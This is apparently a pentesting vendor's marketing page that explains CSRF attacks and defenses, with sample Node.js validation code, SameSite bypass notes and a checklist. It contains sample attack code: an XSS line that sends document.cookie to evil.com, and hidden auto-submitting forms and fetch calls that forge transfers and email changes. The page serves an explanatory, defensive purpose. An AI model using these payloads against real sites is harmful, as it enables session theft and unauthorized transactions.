Cross-Site Request Forgery Pentesting
Your Logged-In Users Are Being Weaponized Against You
Here is the scary truth about Cross-Site Request Forgery: your users do not need to click anything malicious. They just need to visit the wrong webpage while logged into your app, and suddenly their browser is transferring money, changing passwords, or deleting accounts without their knowledge. When you see potential CSRF attack detected in your logs, the question is not if someone tried to attack you. The question is whether your defenses actually held.
Why CSRF Token Mismatch Errors Should Keep You Up at Night
Let me tell you something that most security guides get wrong. They treat CSRF as a solved problem. 'Just add a token,' they say. 'Enable SameSite cookies.' And sure, those help. But the reality on the ground? Applications are still getting wrecked by request forgery attacks in 2024. And the reason is simple: implementation is hard, and validation is even harder.
Think about what happens in a CSRF attack. Your user, Alice, logs into your banking application. She is authenticated. Her session cookie is valid. Everything looks legitimate. Then Alice visits a completely different website, maybe a recipe blog or a forum post. Embedded on that page is an invisible form that auto-submits to your application. Alice's browser dutifully sends the request, complete with her valid session cookie. Her browser just initiated a wire transfer she never authorized.
The terrifying part? Your server saw a perfectly formed request with valid credentials. Unless you have proper CSRF protection, you cannot tell the difference between Alice clicking a button on your site and an attacker's page forcing her browser to make the same request. When your logs finally show a csrf token mismatch error, that means your protection caught something. But what about all the endpoints where you forgot to add protection? Those requests went through silently.
This is exactly the kind of vulnerability that PentestMate was built to find. Our AI agents systematically probe every state-changing endpoint in your application, testing whether your CSRF defenses are actually working or just giving you a false sense of security.
Think your application is immune?
PentestMate's AI agents find these flaws in 87% of the apps we test.
What Our AI Agents Look For
Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.
Missing CSRF Token Validation
CRITICALWe test every endpoint that changes state (POST, PUT, DELETE requests) to verify CSRF tokens are required and validated. The absence of protection is the most dangerous finding, because there is nothing to trigger a 'potential CSRF attack detected' alert.
CSRF Token Mismatch Bypass
CRITICALTokens exist but validation is flawed. We probe for implementations that accept empty tokens, predictable token generation, tokens not tied to sessions, and validation logic that can be circumvented.
Token Reuse and Fixation
HIGHTesting whether CSRF tokens rotate after use, expire appropriately, and are bound to individual sessions. Tokens that never change or work across users defeat the purpose of protection entirely.
SameSite Cookie Bypass
HIGHSameSite cookies help, but they are not bulletproof. We test for bypasses through subdomain attacks, GET-based state changes, top-level navigations with SameSite=Lax, and browser edge cases.
Referer and Origin Header Manipulation
MEDIUMApplications that rely solely on Referer or Origin headers for CSRF protection are vulnerable. These headers can be stripped by privacy extensions, corporate proxies, or manipulated in specific scenarios.
JSON API CSRF
HIGHModern applications often assume JSON APIs are immune to CSRF because forms cannot submit JSON. We test for content-type confusion, CORS misconfigurations, and techniques that allow cross-origin JSON requests.
“Cross-Site Request Forgery is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated.”
Cross Site Scripting vs CSRF: Understanding the Critical Difference
One of the most common questions I get is: what is the difference between cross site scripting vs csrf? The names sound similar. Both involve 'cross-site' attacks. But confusing these two vulnerabilities leads to dangerous security gaps. Understanding how cross-site request forgery vs cross-site scripting differs is essential for building proper defenses.
The Fundamental Difference: Who Is Attacking Whom
Here is the simplest way to understand cross-site request forgery vs cross-site scripting. With XSS, the attacker puts malicious code inside your application that runs in your users' browsers. With CSRF, the attacker's own website tricks your users' browsers into making requests to your application. The direction of the attack is completely different.
// CROSS-SITE SCRIPTING (XSS)
// Attacker injects code INTO your application
// The malicious script runs in your origin, with full access
// Result: Attacker can steal cookies, modify page content, impersonate users
// Example: Attacker's script injected into your page
document.location = 'https://evil.com/steal?cookie=' + document.cookie;
// This runs ON YOUR SITE, so it can read your site's cookies
// CROSS-SITE REQUEST FORGERY (CSRF)
// Attacker's website makes requests TO your application
// The request comes FROM a different origin but carries the user's cookies
// Result: Attacker can perform actions AS the authenticated user
// Example: On attacker's website (evil.com)
<form action="https://yourbank.com/transfer" method="POST" id="attack">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('attack').submit();</script>
// User's browser sends the request WITH their session cookiesWith XSS, the attacker's code runs inside your application with full access. With CSRF, the attacker's site makes requests to your application using the victim's credentials. XSS steals the keys. CSRF uses them without stealing.
How CSRF Attacks Actually Work
Let me walk you through exactly how a CSRF attack unfolds. The beauty (from an attacker's perspective) is its simplicity. No malware installation. No phishing for credentials. The user just needs to visit a webpage, any webpage, while logged into your application.
<!-- Attacker hosts this on any website victim might visit -->
<!-- Victim is already logged into vulnerable-app.com -->
<!-- Attack Method 1: Invisible Image (GET request) -->
<!-- Browser automatically makes this request -->
<img src="https://vulnerable-app.com/api/user/change-email?email=attacker@evil.com"
style="display:none" />
<!-- Attack Method 2: Auto-Submitting Form (POST request) -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://vulnerable-app.com/api/transfer"
method="POST"
target="csrf-frame"
id="csrf-attack">
<input type="hidden" name="recipient" value="attacker@evil.com" />
<input type="hidden" name="amount" value="5000" />
</form>
<script>
// Form submits immediately when page loads
document.getElementById('csrf-attack').submit();
</script>
<!-- Attack Method 3: JavaScript Fetch (if CORS is misconfigured) -->
<script>
fetch('https://vulnerable-app.com/api/settings', {
method: 'POST',
credentials: 'include', // Includes victim's cookies
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'email=attacker@evil.com'
});
</script>
<!-- The victim sees nothing. Their browser did all the work. -->The victim does not need to click anything. Simply loading the attacker's page is enough. The browser follows its normal behavior of sending cookies with requests, and your server cannot tell the request was not intentional.
Why CSRF Token Mismatch Errors Happen (And Why They Matter)
When your application logs show csrf token mismatch, that is actually good news. It means your protection caught an attempt. But the implementation details matter enormously. I have seen CSRF 'protection' that does not actually protect anything.
// BROKEN: These implementations give false security
// Problem 1: Only checking if token MATCHES, not if it EXISTS
app.post('/api/transfer', (req, res) => {
const token = req.body.csrf_token;
// If token is undefined, this check passes!
if (token && token !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF token mismatch' });
}
// Attacker simply omits the token entirely
processTransfer(req.body);
});
// Problem 2: Predictable token generation
const generateToken = (userId) => {
return crypto.createHash('md5').update(userId + 'secret').digest('hex');
};
// Attacker can compute this if they know the user ID
// Problem 3: Global tokens not tied to sessions
const globalToken = crypto.randomBytes(32).toString('hex');
// Any user's token works for any other user
// CORRECT: Proper validation
app.post('/api/transfer', (req, res) => {
const token = req.body.csrf_token;
// Token MUST exist
if (!token) {
logger.warn('Potential CSRF attack detected - missing token');
return res.status(403).json({ error: 'CSRF token required' });
}
// Token MUST match session
if (!crypto.timingSafeEqual(
Buffer.from(token),
Buffer.from(req.session.csrfToken)
)) {
logger.warn('Potential CSRF attack detected - token mismatch');
return res.status(403).json({ error: 'CSRF token mismatch' });
}
processTransfer(req.body);
});The presence of CSRF tokens means nothing if validation is broken. PentestMate's AI agents test for these exact implementation flaws, probing whether your tokens can be omitted, reused, or predicted.
SameSite Cookies: Helpful but Not a Complete Solution
I hear this constantly: 'We set SameSite=Strict on our cookies, so we are protected from CSRF.' And yes, SameSite cookies are a great defense layer. But relying on them alone leaves gaps that attackers can exploit.
// SameSite cookie configuration
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: Cookie not sent on ANY cross-site request
// SameSite=Lax: Cookie sent on top-level navigations (links, GET)
// SameSite=None: Cookie always sent (must have Secure flag)
// BYPASS 1: Top-level navigation with SameSite=Lax
// Many sites use Lax because Strict breaks legitimate cross-site links
<a href="https://vulnerable-app.com/unsubscribe?user=123"
target="_blank">Click for free gift!</a>
// With Lax, the cookie IS sent for this top-level GET request
// If /unsubscribe changes state via GET, it is still vulnerable
// BYPASS 2: Subdomain takeover
// Attacker takes over abandoned.yourapp.com
// Cookies for yourapp.com are accessible from subdomains
// SameSite does not protect against same-site (subdomain) attacks
// BYPASS 3: Browser inconsistencies
// Older browsers ignore SameSite entirely
// Safari had implementation bugs until 2022
// Some corporate proxies strip cookie attributes
// BYPASS 4: POST-based top-level navigation (Chrome behavior)
// Within 2 minutes of cookie being set, Chrome allows cross-site POST
// This is a known behavior for compatibility reasons
// DEFENSE IN DEPTH: Use SameSite AND CSRF tokens
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
// Plus: Validate CSRF token on every state-changing request
// Plus: Verify Origin/Referer headers as additional checkSameSite cookies reduce attack surface significantly, but they are one layer of defense, not a complete solution. Applications that rely solely on SameSite without CSRF tokens remain vulnerable to several attack scenarios.
Investigating Potential CSRF Attack Detected Alerts
When your WAF, application, or security monitoring shows potential CSRF attack detected, what should you do? These alerts can indicate real attacks in progress, but they can also be false positives. Here is how to investigate properly.
// Comprehensive CSRF protection with logging
const csrfProtection = (req, res, next) => {
// Skip for safe methods
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
const token = req.body._csrf || req.headers['x-csrf-token'];
const sessionToken = req.session?.csrfToken;
// Build context for logging
const context = {
endpoint: req.path,
method: req.method,
ip: req.ip,
userAgent: req.headers['user-agent'],
origin: req.headers['origin'],
referer: req.headers['referer'],
userId: req.session?.userId || 'anonymous',
timestamp: new Date().toISOString()
};
if (!token) {
logger.warn('Potential CSRF attack detected: Missing token', context);
return res.status(403).json({ error: 'CSRF token required' });
}
if (!sessionToken) {
logger.warn('Potential CSRF attack detected: No session token', context);
return res.status(403).json({ error: 'Session expired' });
}
if (!timingSafeEqual(token, sessionToken)) {
logger.warn('Potential CSRF attack detected: Token mismatch', context);
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
};
// Investigation checklist for CSRF alerts:
// 1. Check origin/referer - does it reveal the attack source?
// 2. Pattern analysis - is the same IP hitting multiple endpoints?
// 3. Timing analysis - automated attacks show consistent intervals
// 4. User impact - are legitimate users seeing errors? (broken AJAX)
// 5. Correlation - do CSRF alerts coincide with other suspicious activity?Proper logging turns security incidents into learning opportunities. When attacks happen, you need forensic data to understand the attack vector, scope, and whether it succeeded on any unprotected endpoints.
How PentestMate Detects CSRF Vulnerabilities
Traditional scanners check if CSRF tokens exist in forms. That is a start, but it misses most real-world vulnerabilities. PentestMate's AI agents think like attackers, systematically probing your defenses to find gaps that simple pattern matching cannot detect.
// How PentestMate's AI agents test for CSRF vulnerabilities:
// 1. Endpoint Discovery
// We map every state-changing endpoint in your application
// Not just forms - APIs, AJAX endpoints, WebSocket actions
// 2. Token Presence Testing
// For each endpoint, we verify a CSRF token is required
// Many applications protect /transfer but forget /settings
// 3. Token Validation Testing
// We probe with:
// - Missing tokens entirely
// - Empty string tokens
// - Tokens from different sessions
// - Expired tokens
// - Malformed tokens
// - Another user's valid token
// 4. Bypass Techniques
// - Omitting the token parameter vs sending empty
// - Changing request method (POST to GET)
// - Modifying Content-Type headers
// - Testing with and without Origin/Referer
// - Subdomain origin testing
// 5. Continuous Monitoring
// New code deploys can break CSRF protection
// Developers might disable protection "temporarily"
// We run these tests continuously, not just once
// Result: Comprehensive CSRF coverage that catches
// what traditional scanners missUnlike static scanners that check for token presence, PentestMate actively attempts to exploit your CSRF protections. If there is a way to bypass your defenses, our AI agents will find it before real attackers do.
Still reading? Good. That means you care about security.
Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.
Stop Reading About Vulnerabilities.
Start Finding Them.
Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.
Complete Endpoint Coverage
We do not just check forms. Our AI agents discover and test every state-changing endpoint in your application, including APIs and hidden functionality.
Continuous CSRF Monitoring
New code deployments can break CSRF protection. We run tests continuously, alerting you the moment a vulnerability appears in your application.
Real-Time Vulnerability Alerts
When we detect a CSRF vulnerability or bypass technique, you get notified immediately. No waiting for quarterly security reviews.
Start with a $1 trial - full access to all PentestMate AI-powered security testing
Quick Business Logic Security Checklist
Use this as a starting point. If you're missing even one of these, you have a problem.
CSRF Token Implementation
- Generate cryptographically random tokens (32+ bytes)
- Bind tokens to user sessions on the server side
- Regenerate tokens after login and privilege changes
- Validate tokens on ALL state-changing requests (POST, PUT, DELETE)
- Reject requests with missing tokens, not just mismatched ones
Cookie Security Configuration
- Set SameSite=Strict or SameSite=Lax on session cookies
- Always use Secure flag for HTTPS-only transmission
- Enable HttpOnly to prevent JavaScript cookie access
- Consider __Host- or __Secure- cookie prefixes
- Implement appropriate session timeout policies
Request Validation
- Verify Origin and Referer headers as additional defense layer
- Require custom headers for API requests (X-Requested-With)
- Never perform state changes via GET requests
- Implement rate limiting on sensitive endpoints
- Log all CSRF validation failures for security monitoring
Framework Best Practices
- Enable built-in CSRF protection in your framework
- Configure CSRF middleware for all routes by default
- Use framework-provided token generation and validation
- Test protection after framework and dependency updates
- Never disable CSRF protection for convenience or debugging
Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.
Run Automated Security TestingReal-World Business Logic Breaches
These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:
Netflix (2006)
Attackers could add any DVD to victim accountsWhat happened: CSRF vulnerability in DVD queue management functionality
Lesson: Even seemingly low-impact actions need CSRF protection. Attackers chain vulnerabilities together for larger exploits.
ING Direct (2008)
Money could be transferred without user consent or knowledgeWhat happened: CSRF in fund transfer functionality allowed unauthorized transactions
Lesson: Financial applications are high-value CSRF targets. Defense in depth with multiple protection layers is essential.
YouTube (2008)
Mass subscription attacks and favorite manipulationWhat happened: CSRF allowed attackers to perform account actions on behalf of users
Lesson: Social platforms need CSRF protection on all user engagement actions, not just sensitive settings.
Twitter (2010)
Self-propagating worm spread across the platform through user interactionsWhat happened: Onmouseover worm combined CSRF with XSS for rapid spread
Lesson: CSRF and XSS often combine for devastating compound attacks. Both vulnerability classes must be addressed.
Is Your CSRF Protection Actually Working?
Having CSRF tokens is not the same as being protected. Our AI agents test every state-changing endpoint, probe for token mismatch bypasses, and verify your defenses work exactly as intended. Find out if your protection holds up against real attack techniques.
Related Security Tests
Authentication & JWT Pentesting
Learn more
Business Logic Flaws Testing
Learn more
IDOR Vulnerability Testing
Learn more
Explore more security testing capabilities on our main site.
Back to PentestMate